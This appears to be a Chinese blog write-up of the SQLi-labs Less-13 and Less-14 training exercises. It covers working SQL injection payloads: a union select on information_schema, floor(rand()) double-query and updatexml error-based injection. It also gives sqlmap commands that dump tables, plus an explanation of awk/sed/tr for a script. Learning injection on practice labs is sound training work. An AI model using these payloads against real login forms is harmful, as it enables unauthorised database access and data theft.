当前位置:网站首页>sqlilabs less13
sqlilabs less13
2022-07-01 14:03:00 【永远是深夜该多好。】
手动和脚本

很明显,精准的报错给了我们想要的东西。
构造以下SQL语句
select * from table where uname = ('') and password = ('')
查询表的时候发现没有返回,只有登陆成功
1') union select 1,group_concat(table_name) from information_schema.tables where table_schema = database() #

在构造语句的时候发现似乎能利用报错注入
1') union select count(*),concat((select table_name from information_schema.tables where table_schema=database()limit 0,1),floor(rand()*2))a from information_schema.tables group by a#
通过修改limit n,1的n来查询不同行
因为这个双注入是随机性,可能需要几次才能成功
字段名和数据同理,可以考虑burp suite 或者写个脚本。

嗯,来解释一下awk sed tr作用吧
awk -F 分隔符(比如“ > ”)以 > 为分隔符,从开头到第一个分隔符 > 为1,从第一个 > 到第二个为2…… {print$n} n是第n个 1就是从头到第一个分隔符
tr a b 是把a替换为b
sed ‘s/a/b/g’ s是替代 把a替换为b g是s替换命令里面的一个标记作用是替换所有的a,如果不加g只替换第一个a
‘s/(.*),/\1,/’ 会查找最后一个,替换为空 为什么呢
因为 .是匹配换行符以外单个字符, ,加上后面的单独字符
是重复前面的匹配N次或者0次 因为第一次是,真 再重复一次就是,真后面的单独字符 ,真好 因为重复N次所以,后面全部(除了换行符)全部都能匹配
于是我们给. 加上括号表示子表达式的开始和结束 因为没有限制所以匹配的是全体
然后如果我在(.*)后面加上一个英文逗号就变成了匹配末尾有英文逗号的那部分
是不是可以把最后一个英文逗号替换掉呢 上机试试!
可以看到替换掉了英文逗号以及它之前所有的字符,因为前两行末尾是英文逗号所以全行都被替换为感叹号,而第三行末尾是一串字符所以只有英文逗号之前被替换为感叹号了。那怎么不对啊。仔细想想,它匹配的是最后一个英文逗号以及它之前所有的,如果我把匹配的替换为匹配的会怎么样(注意\1会捕捉第一个()内的指定字符 \2则是第二个()内的)
是不是最后一个英文逗号没了
再来举个例子
把括号内的ab加上外面的c 也就是abc(注意后面没有加g,所以只替换第一个abc)替换为\1所引用的第一个括号内的字符ab,使用\2呢,就是把第一个abc替换为c
推荐自己动手加强理解
基于错误
前期构造sql语句打database时候打错意外发现还可能有基于错误的注入
1') and updatexml(1,(concat(0x7c,(select group_concat(table_name) from information_schema.tables where table_schema=database()))),1)#

sqlmap
先抓包然后保存在文本文件 使用
sqlmap -r xx.txt

然后用 -dbs 、-D database_name -tables 和 -D database_name -T table_name --dump
less-14
less14和less13同理 sql语句由英文单引号加括号变成了英文双引号
边栏推荐
- Understand the window query function of tdengine in one article
- [NLP] pre training model - gpt1
- ArrayList capacity expansion mechanism and thread safety
- 被裁三个月,面试到处碰壁,心态已经开始崩了
- Interpretation of R & D effectiveness measurement framework
- SWT/ANR问题--当发送ANR/SWT时候如何打开binder trace(BinderTraces)
- When the main process architecture game, to prevent calls everywhere to reduce coupling, how to open the interface to others to call?
- So programmers make so much money doing private work? It's really delicious
- Station B was scolded on the hot search..
- Scheme of printing statistical information in log
猜你喜欢

Yan Rong looks at how to formulate a multi cloud strategy in the era of hybrid cloud

The integration of computing and Internet enables the transformation of the industry, and the mobile cloud lights up a new roadmap for the future of digital intelligence

6年技术迭代,阿里全球化出海&合规的挑战和探索

A new book by teacher Zhang Yujin of Tsinghua University: 2D vision system and image technology (five copies will be sent at the end of the article)

Several models of IO blocking, non blocking, IO multiplexing, signal driven and asynchronous IO

Use lambda function URL + cloudfront to realize S3 image back to source

Play with mongodb - build a mongodb cluster

逻辑是个好东西

研发效能度量框架解读

龙蜥社区开源 coolbpf,BPF 程序开发效率提升百倍
随机推荐
建立自己的网站(21)
Machine learning summary (I): linear regression, ridge regression, Lasso regression
The integration of computing and Internet enables the transformation of the industry, and the mobile cloud lights up a new roadmap for the future of digital intelligence
“国防七子”经费暴增,清华足足362亿元,甩第二名101亿 |全国高校2022预算大公开...
Journal MySQL
Chen Yu (Aqua) - Safety - & gt; Cloud Security - & gt; Multicloud security
MySQL log
ArrayList capacity expansion mechanism and thread safety
佩服,阿里女程序卧底 500 多个黑产群……
Etcd summary mechanism and usage scenarios
光環效應——誰說頭上有光的就算英雄
8款最佳实践,保护你的 IaC 安全!
How to pass array parameters in get request
Play with mongodb - build a mongodb cluster
Logic is a good thing
开源者的自我修养|为 ShardingSphere 贡献了千万行代码的程序员,后来当了 CEO
SWT / anr problem - how to capture performance trace
小程序- view中多个text换行
Texstudio tutorial
光环效应——谁说头上有光的就算英雄